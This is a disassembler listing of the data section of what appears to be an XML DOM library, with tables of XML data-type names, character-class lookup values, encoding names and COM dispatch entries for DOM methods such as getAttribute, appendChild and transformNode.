		dd offset aBoolean	; "boolean"
		dd offset aChar		; "char"
		dd offset aDate		; "date"
		dd offset aDatetime_0	; "dateTime"
		dd offset aDatetime_tz_0 ; "dateTime.tz"
		dd offset aFixed_14_4	; "fixed.14.4"
		dd offset aFloat	; "float"
		dd offset aFloat_ieee_7_2 ; "float.IEEE.754.32"
		dd offset aFloat_ieee_7_1 ; "float.IEEE.754.64"
		dd offset aI1		; "i1"
		dd offset aI2		; "i2"
		dd offset aI4		; "i4"
		dd offset aI8		; "i8"
		dd offset aInt		; "int"
		dd offset aNumber	; "number"
		dd offset aR4		; "r4"
		dd offset aR8		; "r8"
		dd offset aTime		; "time"
		dd offset aTime_tz	; "time.tz"
		dd offset aUi1		; "ui1"
		dd offset aUi2		; "ui2"
		dd offset aUi4		; "ui4"
		dd offset aUi8		; "ui8"
		dd offset aUri		; "uri"
		dd offset aUuid_0	; "uuid"
		dd offset a?userDefined? ; "?user-defined?"
dword_69B96430	dd 2 dup(0)			dd 111100h, 1100h, 4 dup(0)
dword_69B96450	dd 10101011h, 2	dup(10101010h),	10181810h, 2 dup(18181818h)
		dd 101C1818h, 10101010h, 1E1E1E10h, 5 dup(1E1E1E1Eh), 101E1E1Eh
		dd 1C101010h, 1E1E1E10h, 5 dup(1E1E1E1Eh), 101E1E1Eh, 0Eh dup(10101010h)
		dd 18101010h, 2	dup(10101010h),	5 dup(1E1E1E1Eh), 101E1E1Eh
		dd 7 dup(1E1E1E1Eh), 101E1E1Eh,	0Eh dup(1E1E1E1Eh), 10101E1Eh
		dd 2 dup(1E1E1E1Eh), 101E1E1Eh,	1E1E1E10h, 1E1E1E1Eh, 1E1E101Eh
		dd 0Ch dup(1E1E1E1Eh), 101E1E1Eh, 11h dup(1E1E1E1Eh), 2	dup(10101010h)
		dd 1E1E1E10h, 8	dup(1E1E1E1Eh),	1010101Eh, 10101E1Eh, 1E1E1010h
		dd 7 dup(1E1E1E1Eh), 0Eh dup(10101010h), 16h dup(1E1E1E1Eh)
		dd 1010101Eh, 3	dup(10101010h),	1E101010h, 1E1E1E1Eh, 10101E1Eh
		dd 3 dup(10101010h), 10101818h,	0Bh dup(10101010h), 11h	dup(18181818h)
		dd 10101818h, 6	dup(10101010h),	10101818h, 8 dup(10101010h)
		dd 181E1010h, 101E1E1Eh, 1E1E101Eh, 4 dup(1E1E1E1Eh), 1E101E1Eh
		dd 0Ah dup(1E1E1E1Eh), 101E1E1Eh, 1E1E1E1Eh, 101E1E1Eh
		dd 101E1010h, 101E101Eh, 1E1E101Eh, 4 dup(1E1E1E1Eh), 3	dup(10101010h)
		dd 1E1E1E10h, 2	dup(1E1E1E1Eh),	1E1E101Eh, 10h dup(1E1E1E1Eh)
		dd 1E1E1E10h, 2	dup(1E1E1E1Eh),	1E1E101Eh, 8 dup(1E1E1E1Eh)
		dd 18101E1Eh, 10181818h, 2 dup(10101010h), 0Dh dup(1E1E1E1Eh)
		dd 2 dup(1E10101Eh), 1010101Eh,	7 dup(1E1E1E1Eh), 1E1E1010h
		dd 1E1E1E1Eh, 2	dup(10101E1Eh),	0Dh dup(10101010h), 1E1E1E10h
		dd 8 dup(1E1E1E1Eh), 101E1E1Eh,	10101E10h, 10101010h, 1E1E1E10h
		dd 8 dup(1E1E1E1Eh), 101E1E1Eh,	2 dup(10101010h), 18181810h
		dd 3 dup(18181818h), 18101818h,	5 dup(18181818h), 2 dup(18101818h)
		dd 10181810h, 10101018h, 2 dup(10101010h), 6 dup(1E1E1E1Eh)
		dd 101E1E1Eh, 10101010h, 101E1E1Eh, 0Bh	dup(10101010h)
		dd 1E1E1E10h, 5	dup(1E1E1E1Eh),	101E1E1Eh, 10101010h, 1E1E1E18h
		dd 1E1E1E1Eh, 181E1E1Eh, 18181818h, 10181818h, 3 dup(10101010h)
		dd 2 dup(18181818h), 10101818h,	10101010h, 1E1E1E18h, 11h dup(1E1E1E1Eh)
		dd 1E1E1010h, 101E1E1Eh, 3 dup(1E1E1E1Eh), 101E1E1Eh, 1E1E1E1Eh
		dd 18181E10h, 3	dup(18181818h),	181E1E18h, 18181018h, 10101818h
		dd 2 dup(18181818h), 10101818h,	41h dup(10101010h), 18181810h
		dd 1E1E1E10h, 0Ch dup(1E1E1E1Eh), 10101E1Eh, 18181E18h
		dd 3 dup(18181818h), 10101818h,	18181810h, 10101018h, 2	dup(1E1E1E1Eh)
		dd 18181E1Eh, 18181010h, 2 dup(18181818h), 4 dup(10101010h)
		dd 18181810h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E10101Eh), 5	dup(1E1E1E1Eh)
		dd 1E1E101Eh, 1E1E1E1Eh, 101E101Eh, 1E1E1010h, 10101E1Eh
		dd 18181018h, 18181818h, 2 dup(18101018h), 10101818h, 10101010h
		dd 18101010h, 10101010h, 1E101E1Eh, 18181E1Eh, 18181010h
		dd 2 dup(18181818h), 10101E1Eh,	3 dup(10101010h), 10181010h
		dd 1E1E1E10h, 101E1E1Eh, 1E101010h, 1E10101Eh, 5 dup(1E1E1E1Eh)
		dd 1E1E101Eh, 1E1E1E1Eh, 1E1E101Eh, 101E1E10h, 10101E1Eh
		dd 18181018h, 10181818h, 18101010h, 18101018h, 10101818h
		dd 2 dup(10101010h), 1E1E1E10h,	101E101Eh, 10101010h, 18181010h
		dd 2 dup(18181818h), 1E1E1818h,	1010101Eh, 2 dup(10101010h)
		dd 18181810h, 1E1E1E10h, 1E1E1E1Eh, 1E101E10h, 1E101E1Eh
		dd 5 dup(1E1E1E1Eh), 1E1E101Eh,	1E1E1E1Eh, 1E1E101Eh, 1E1E1E10h
		dd 10101E1Eh, 18181E18h, 18181818h, 2 dup(18101818h), 10101818h
		dd 4 dup(10101010h), 1010101Eh,	18181010h, 2 dup(18181818h)
		dd 4 dup(10101010h), 18181810h,	1E1E1E10h, 1E1E1E1Eh, 2	dup(1E10101Eh)
		dd 5 dup(1E1E1E1Eh), 1E1E101Eh,	1E1E1E1Eh, 1E1E101Eh, 1E1E1010h
		dd 10101E1Eh, 18181E18h, 18181818h, 18101010h, 18101018h
		dd 10101818h, 10101010h, 18181010h, 10101010h, 1E101E1Eh
		dd 10101E1Eh, 18181010h, 2 dup(18181818h), 4 dup(10101010h)
		dd 18181010h, 1E1E1E10h, 101E1E1Eh, 1E1E1010h, 1E1E101Eh
		dd 10101E1Eh, 101E1E10h, 1E1E101Eh, 1E101010h, 1010101Eh
		dd 101E1E1Eh, 1E1E1010h, 1E1E1E1Eh, 1E101E1Eh, 10101E1Eh
		dd 18181010h, 10181818h, 18181010h, 18181018h, 10101818h
		dd 10101010h, 18101010h, 3 dup(10101010h), 18101010h, 2	dup(18181818h)
		dd 4 dup(10101010h), 18181810h,	1E1E1E10h, 1E1E1E1Eh, 2	dup(1E1E101Eh)
		dd 5 dup(1E1E1E1Eh), 1E1E101Eh,	2 dup(1E1E1E1Eh), 1E1E1E10h
		dd 10101E1Eh, 18181010h, 18181818h, 2 dup(18181018h), 10101818h
		dd 10101010h, 10181810h, 2 dup(10101010h), 10101E1Eh, 18181010h
		dd 2 dup(18181818h), 4 dup(10101010h), 18181010h, 1E1E1E10h
		dd 1E1E1E1Eh, 2	dup(1E1E101Eh),	5 dup(1E1E1E1Eh), 1E1E101Eh
		dd 2 dup(1E1E1E1Eh), 1E1E1E10h,	10101E1Eh, 18181010h, 18181818h
		dd 2 dup(18181018h), 10101818h,	10101010h, 10181810h, 10101010h
		dd 101E1010h, 10101E1Eh, 18181010h, 2 dup(18181818h), 4	dup(10101010h)
		dd 18181010h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E1E101Eh), 5	dup(1E1E1E1Eh)
		dd 1E1E101Eh, 3	dup(1E1E1E1Eh),	10101E1Eh, 18181010h, 18181818h
		dd 18181010h, 18181018h, 10101818h, 10101010h, 18101010h
		dd 2 dup(10101010h), 10101E1Eh,	18181010h, 2 dup(18181818h)
		dd 24h dup(10101010h), 1E1E1E10h, 0Ah dup(1E1E1E1Eh), 101E1E1Eh
		dd 1E1E181Eh, 18181818h, 10181818h, 10101010h, 1E1E1E1Eh
		dd 18181E1Eh, 18181818h, 10181818h, 2 dup(18181818h), 10101818h
		dd 9 dup(10101010h), 101E1E10h,	1E10101Eh, 101E101Eh, 10101E10h
		dd 10101010h, 1E1E1E1Eh, 1E1E1E10h, 1E1E1E1Eh, 1E1E1E10h
		dd 1E101E10h, 1E1E1010h, 101E1E10h, 1E1E181Eh, 18181818h
		dd 18101818h, 10101E18h, 1E1E1E1Eh, 1018101Eh, 18181818h
		dd 10101818h, 2	dup(18181818h),	10101818h, 0Fh dup(10101010h)
		dd 10101818h, 10101010h, 2 dup(18181818h), 10101818h, 2	dup(10101010h)
		dd 18101810h, 10101810h, 18181010h, 2 dup(1E1E1E1Eh), 1E1E1E10h
		dd 7 dup(1E1E1E1Eh), 10101E1Eh,	10101010h, 18181810h, 4	dup(18181818h)
		dd 18181018h, 18181818h, 10101010h, 18181818h, 18101818h
		dd 18181810h, 4	dup(18181818h),	10101818h, 18181810h, 18181818h
		dd 10101810h, 39h dup(10101010h), 9 dup(1E1E1E1Eh), 10101E1Eh
		dd 2 dup(10101010h), 9 dup(1E1E1E1Eh), 101E1E1Eh, 2 dup(10101010h)
		dd 1E1E101Eh, 1E1E1E10h, 1E101E10h, 1E1E101Eh, 101E1E1Eh
		dd 0Ah dup(10101010h), 101E101Eh, 1010101Eh, 2 dup(10101010h)
		dd 101E101Eh, 1010101Eh, 10101E1Eh, 10101E10h, 1E101010h
		dd 1E101E1Eh, 1E101E10h, 10101E10h, 101E1E10h, 1E1E1010h
		dd 10101E10h, 9	dup(10101010h),	101E1010h, 2 dup(10101010h)
		dd 1E10101Eh, 1E1E1010h, 10101010h, 1E101010h, 101E101Eh
		dd 1E1E1E1Eh, 101E1E1Eh, 9 dup(10101010h), 1E101010h, 10101010h
		dd 1010101Eh, 10101010h, 10101E10h, 10101010h, 27h dup(1E1E1E1Eh)
		dd 10101010h, 16h dup(1E1E1E1Eh), 10101E1Eh, 10101010h
		dd 5 dup(1E1E1E1Eh), 10101E1Eh,	1E1E1E1Eh, 10101E1Eh, 9	dup(1E1E1E1Eh)
		dd 10101E1Eh, 1E1E1E1Eh, 10101E1Eh, 2 dup(1E1E1E1Eh), 2	dup(1E101E10h)
		dd 7 dup(1E1E1E1Eh), 10101E1Eh,	0Dh dup(1E1E1E1Eh), 1E1E101Eh
		dd 1E1E1E1Eh, 101E101Eh, 1E1E1010h, 1E1E101Eh, 1E1E1E1Eh
		dd 1010101Eh, 1E1E1E1Eh, 1E1E1010h, 1E1E1E1Eh, 10101010h
		dd 3 dup(1E1E1E1Eh), 1010101Eh,	1E1E1010h, 1E1E101Eh, 1E1E1E1Eh
		dd 1010101Eh, 34h dup(10101010h), 3 dup(18181818h), 10101018h
		dd 10101810h, 10h dup(10101010h), 101E1010h, 1E1E1010h
		dd 101E1010h, 14h dup(10101010h), 101E1E1Eh, 20h dup(10101010h)
		dd 1E101810h, 6	dup(10101010h),	1E1E1E10h, 1E1E1E1Eh, 18181E1Eh
		dd 18181818h, 18181810h, 10101818h, 2 dup(10101010h), 1E1E1E10h
		dd 14h dup(1E1E1E1Eh), 1010101Eh, 2 dup(10181810h), 1E1E1E10h
		dd 15h dup(1E1E1E1Eh), 101E1E1Eh, 10181818h, 10101010h
		dd 1E1E1E10h, 9	dup(1E1E1E1Eh),	1010101Eh, 34h dup(10101010h)
		dd 69h dup(1E1E1E1Eh), 10101E1Eh, 16h dup(10101010h), 29h dup(1E1E1E1Eh)
		dd 17h dup(10101010h), 40h dup(0)
dword_69B97F30	dd 3Fh dup(10101010h), 1010hoff_69B98030	dd offset dword_69B96430 ; DATA	XREF: sub_69B2ECB4+Ar
					; sub_69B31914+Ar ...
		dd offset dword_69B96450+0E0h
		dd offset dword_69B96450+1E0h
		dd offset dword_69B96450+2E0h
		dd offset dword_69B96450+3E0h
		dd offset dword_69B96450+4E0h
		dd offset dword_69B96450+5E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+7E0h
		dd offset dword_69B96450+8E0h
		dd offset dword_69B96450+9E0h
		dd offset dword_69B96450+0AE0h
		dd offset dword_69B96450+0BE0h
		dd offset dword_69B96450+0CE0h
		dd offset dword_69B96450+0DE0h
		dd offset dword_69B96450+0EE0h
		dd offset dword_69B96450+0FE0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+10E0h
		dd offset dword_69B96450+11E0h
		dd offset dword_69B96450+12E0h
		dd offset dword_69B96450+13E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+14E0h
		dd offset dword_69B96450+15E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+17E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+16E0h
		dd offset dword_69B96450+18E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+19E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B96450+6E0h
		dd offset dword_69B97F30
off_69B98430	dd offset aCdata_3	; DATA XREF: sub_69B33C72+193r
					; "CDATA"
off_69B98434	dd offset aUcs4		; DATA XREF: sub_69B360BA+111r
					; "UCS-4"
off_69B98438	dd offset aUcs2		; DATA XREF: sub_69B360BA+CDr
					; "UCS-2"
off_69B9843C	dd offset aUtf7		; DATA XREF: sub_69B360BA+8Ar
					; "UTF-7"
; LPCWSTR lpStr2
lpStr2		dd offset aTextXml_0	; DATA XREF: sub_69B36309+Cr
					; "text/xml"
dword_69B98444	dd 0							; sub_69B39BE2+22r
dword_69B98448	dd 2, 1, 3, 9	off_69B98458	dd offset dword_69B25E54 ; DATA	XREF: .data:69B98484o
off_69B9845C	dd offset aCreateprocesso ; DATA XREF: .data:69B984ACo
					; "createProcessor"
		dd 3, 3	dup(0)
		dd 30009h
		dd offset aStylesheet_0	; "stylesheet"
		dd 2, 1
		dd offset dword_69B98448+0Ch
		dd offset off_69B98458
dword_69B98488	dd 0A0009h, 2, 1, 3, 0dword_69B9849C	dd 0							; sub_69B3BAE4+Eo ...
off_69B984A0	dd offset dword_69B25D14+10h ; DATA XREF: sub_69B3BA34+Ar
		dd offset libID
		dd 1
		dd offset off_69B9845C
		dd 2
		dd offset dword_69B98488+4
		dd 2
		dd offset sub_69B3B35C
dword_69B984C0	dd 0							; sub_69B3C2E1+20o ...
off_69B984C4	dd offset dword_69B25E24 ; DATA	XREF: sub_69B3CAA7+Ar
		dd offset libID
		dd 1, 6	dup(0)
dword_69B984E8	dd 1							; sub_69B4122C+32r ...
dword_69B984EC	dd 3, 8, 9, 0Ah, 7, 4, 6, 0Ch, 0FFFFFFFFh, 7, 5, 3, 2 dup(0FFFFFFFFh)
		dd 2, 0FFFFFFFFh, 0Bh, 7, 8, 0C0008h, 2	dup(8),	2 dup(9)
		dd 8
off_69B98550	dd offset dword_69B25DE4 ; DATA	XREF: .data:69B98610o
off_69B98554	dd offset dword_69B25DE4 ; DATA	XREF: .data:69B985E0o
off_69B98558	dd offset aGetattribute	; DATA XREF: .data:69B98B08o
					; "getAttribute"
		dd 63h,	1
		dd offset dword_69B984EC+48h
		dd 0
		dd 1000Ch
		dd offset aGetattributeno ; "getAttributeNode"
		dd 66h,	1
		dd offset dword_69B984EC+54h
		dd 0
		dd 10009h
		dd offset aGetelementsbyt ; "getElementsByTagName"
		dd 69h,	1
		dd offset dword_69B984EC+60h
		dd 0
		dd 10009h
		dd offset aNormalize	; "normalize"
		dd 6Ah,	3 dup(0)
		dd 3000Ah
		dd offset aRemoveattrib_0 ; "removeAttribute"
		dd 65h,	1
		dd offset dword_69B984EC+50h
		dd 0
		dd 1000Ah
		dd offset aRemoveattribut ; "removeAttributeNode"
		dd 68h,	1
		dd offset dword_69B984EC+5Ch
		dd offset off_69B98554
		dd 10009h
		dd offset aSetattribute	; "setAttribute"
		dd 64h,	2
		dd offset dword_69B984EC+4Ch
		dd 0
		dd 1000Ah
		dd offset aSetattributeno ; "setAttributeNode"
		dd 67h,	1
		dd offset dword_69B984EC+58h
		dd offset off_69B98550
		dd 10009h
		dd offset aTagname	; "tagName"
		dd 61h,	3 dup(0)
dword_69B9862C	dd 20008h, 61h,	8, 63h,	0dword_69B98640	dd 64h,	6, 65h,	4, 66h,	1, 67h,	7, 68h,	5, 69h,	2, 6Ah
		dd 3, 9, 0Bh, 8, 0C0009h, 2 dup(0Ch), 90009h, 9, 3 dup(8)
		dd 9, 0C0009h
off_69B986AC	dd offset dword_69B25E54 ; DATA	XREF: .data:69B986E0o
off_69B986B0	dd offset dword_69B25E54 ; DATA	XREF: .data:69B987B8o
		align 8
off_69B986B8	dd offset dword_69B25E54 ; DATA	XREF: .data:69B98920o
		dd offset dword_69B25E54
off_69B986C0	dd offset dword_69B25E54 ; DATA	XREF: .data:69B98908o
off_69B986C4	dd offset dword_69B25E54 ; DATA	XREF: .data:69B98998o
off_69B986C8	dd offset dword_69B25E54 ; DATA	XREF: .data:69B989B0o
		align 10h
off_69B986D0	dd offset aAppendchild	; DATA XREF: sub_69B4107B+22o
					; sub_69B410FA+30o ...
					; "appendChild"
		dd 10h,	1
		dd offset dword_69B98640+38h
		dd offset off_69B986AC
		dd 10009h
		dd offset aAttributes	; "attributes"
		dd 0Ch,	3 dup(0)
		dd 20009h
		dd offset aBasename	; "baseName"
		dd 22h,	3 dup(0)
		dd 20008h
		dd offset aChildnodes	; "childNodes"
		dd 7, 3	dup(0)
		dd 20009h
		dd offset aClonenode	; "cloneNode"
		dd 13h,	1
		dd offset dword_69B98640+3Ch
		dd 0
		dd 10009h
		dd offset aDatatype_0	; "dataType"
		dd 1Ah,	1
		dd offset dword_69B98640+40h
		dd 0
		dd 6000Ch
		dd offset aDefinition	; "definition"
		dd 17h,	3 dup(0)
		dd 20009h
		dd offset aFirstchild	; "firstChild"
		dd 8, 3	dup(0)
		dd 20009h
		dd offset aHaschildnodes ; "hasChildNodes"
		dd 11h,	3 dup(0)
		dd 3000Bh
		dd offset aInsertbefore	; "insertBefore"
		dd 0Dh,	2
		dd offset dword_69B98640+44h
		dd offset off_69B986B0
		dd 10009h
		dd offset aLastchild	; "lastChild"
		dd 9, 3	dup(0)
		dd 20009h
		dd offset aNamespaceuri	; "namespaceURI"
		dd 20h,	3 dup(0)
		dd 20008h
		dd offset aNextsibling	; "nextSibling"
		dd 0Bh,	3 dup(0)
		dd 20009h
		dd offset aNodename	; "nodeName"
		dd 2, 3	dup(0)
		dd 20008h
		dd offset aNodetype	; "nodeType"
		dd 4, 3	dup(0)
		dd 20003h
		dd offset aNodetypedvalue ; "nodeTypedValue"
		dd 19h,	1
		dd offset dword_69B98640+48h
		dd 0
		dd 6000Ch
		dd offset aNodetypestring ; "nodeTypeString"
		dd 15h,	3 dup(0)
		dd 20008h
		dd offset aNodevalue	; "nodeValue"
		dd 3, 1
		dd offset dword_69B98640+4Ch
		dd 0
		dd 6000Ch
		dd offset aOwnerdocument ; "ownerDocument"
		dd 12h,	3 dup(0)
		dd 20009h
		dd offset aParentnode	; "parentNode"
		dd 6, 3	dup(0)
		dd 20009h
		dd offset aParsed	; "parsed"
		dd 1Fh,	3 dup(0)
		dd 2000Bh
		dd offset aPrefix	; "prefix"
		dd 21h,	3 dup(0)
		dd 20008h
		dd offset aPrevioussiblin ; "previousSibling"
		dd 0Ah,	3 dup(0)
		dd 20009h
		dd offset aRemovechild	; "removeChild"
		dd 0Fh,	1
		dd offset dword_69B98640+54h
		dd offset off_69B986C0
		dd 10009h
		dd offset aReplacechild	; "replaceChild"
		dd 0Eh,	2
		dd offset dword_69B98640+50h
		dd offset off_69B986B8
		dd 10009h
		dd offset aSelectnodes	; "selectNodes"
		dd 1Dh,	1
		dd offset dword_69B98640+58h
		dd 0
		dd 10009h
		dd offset aSelectsingleno ; "selectSingleNode"
		dd 1Eh,	1
		dd offset dword_69B98640+5Ch
		dd 0
		dd 10009h
		dd offset aSpecified	; "specified"
		dd 16h,	3 dup(0)
		dd 2000Bh
		dd offset aText		; "text"
		dd 18h,	1
		dd offset dword_69B98640+60h
		dd 0
		dd 60008h
		dd offset aTransformnode ; "transformNode"
		dd 1Ch,	1
		dd offset dword_69B98640+64h
		dd offset off_69B986C4
		dd 10008h
		dd offset aTransformnodet ; "transformNodeToObject"
		dd 23h,	2
		dd offset dword_69B98640+68h
		dd offset off_69B986C8
		dd 1000Ah
		dd offset aXml		; "xml"
		dd 1Bh,	3 dup(0)
dword_69B989CC	dd 20008h, 2, 0Dh, 3, 11h, 4, 0Eh, 6, 13h, 7, 3, 8, 7
					; DATA XREF: .data:69B98AECo
		dd 9, 2	dup(0Ah), 16h, 0Bh, 2 dup(0Ch),	1, 0Dh,	9, 0Eh
		dd 18h,	0Fh, 17h, 10h, 0
		dd 11h,	8, 2 dup(12h), 13h, 4, 15h, 10h, 16h, 1Bh, 17h
		dd 6, 18h, 1Ch,	19h, 0Fh, 1Ah, 5, 1Bh, 1Fh, 1Ch, 2 dup(1Dh)
		dd 19h,	1Eh, 1Ah, 1Fh, 14h, 20h, 0Bh, 21h, 15h,	22h, 2
		dd 23h,	1Eh
byte_69B98AD0	db 20h			; DATA XREF: sub_69B56828+3Cr
					; sub_69B56F58+4Cr
		align 4
dword_69B98AD4	dd 0							; sub_69B41180+8Eo ...
off_69B98AD8	dd offset dword_69B25E54 ; DATA	XREF: sub_69B40DD4+Er
		dd offset libID
		dd 1
		dd offset off_69B986D0
		dd 20h
		dd offset dword_69B989CC+4
		dd 20h
		dd offset sub_69B3FEAD
; int dword_69B98AF8
dword_69B98AF8	dd 0							; sub_69B410FA+57o ...
		dd offset dword_69B25DD4
		dd offset libID
		dd 1
		dd offset off_69B98558
		dd 9
		dd offset dword_69B9862C+4
		dd 9
		dd offset sub_69B3FD3B
		dd offset sub_69B6C9EA
		dd 0
		dd offset dword_69B25DC4
		dd offset libID
